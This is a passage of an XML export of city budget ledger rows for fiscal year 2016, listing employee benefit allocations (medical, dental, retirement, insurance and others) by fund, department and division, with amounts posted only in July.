<row _id="19345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076</total></row>
<row _id="19346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5395</total></row>
<row _id="19347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>29741</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29741</total></row>
<row _id="19348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>50971</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50971</total></row>
<row _id="19349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2732</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2732</total></row>
<row _id="19350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14593</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14593</total></row>
<row _id="19351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1942</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1942</total></row>
<row _id="19352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3333</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3333</total></row>
<row _id="19353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1929</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1929</total></row>
<row _id="19354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1163</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1163</total></row>
<row _id="19355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>130849</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>130849</total></row>
<row _id="19356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9638</total></row>
<row _id="19357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1107</total></row>
<row _id="19358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16355</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16355</total></row>
<row _id="19359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19091</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19091</total></row>
<row _id="19360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1181</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1181</total></row>
<row _id="19361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>999</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>999</total></row>
<row _id="19362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1175</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1175</total></row>
<row _id="19363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>40060</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40060</total></row>
<row _id="19364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8884</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8884</total></row>
<row _id="19365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10366</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10366</total></row>
<row _id="19366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>231955</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>231955</total></row>
<row _id="19367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>202838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>202838</total></row>
<row _id="19368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>184061</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>184061</total></row>
<row _id="19369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>866700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>866700</total></row>
<row _id="19370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>144928</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>144928</total></row>
<row _id="19371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>334419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>334419</total></row>
<row _id="19372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>104234</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104234</total></row>
<row _id="19373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>136003</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>136003</total></row>
<row _id="19374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1800</total></row>
<row _id="19375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>127878</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>127878</total></row>
<row _id="19376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1464</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1464</total></row>
<row _id="19377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1185</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1185</total></row>
<row _id="19378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7898</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7898</total></row>
<row _id="19379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>532</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>532</total></row>
<row _id="19380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5739</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5739</total></row>
<row _id="19381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4873</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4873</total></row>
<row _id="19382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3893</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3893</total></row>
<row _id="19383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7352</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7352</total></row>
<row _id="19384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>951</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>951</total></row>
<row _id="19385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3972</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3972</total></row>
<row _id="19386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2946</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2946</total></row>
<row _id="19387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3158</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3158</total></row>
<row _id="19388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>110503</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110503</total></row>
<row _id="19389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>47719</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47719</total></row>
<row _id="19390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>141632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>141632</total></row>
<row _id="19391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14090</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14090</total></row>
<row _id="19392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>185257</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>185257</total></row>
<row _id="19393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>99887</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>99887</total></row>
<row _id="19394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>124545</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>124545</total></row>
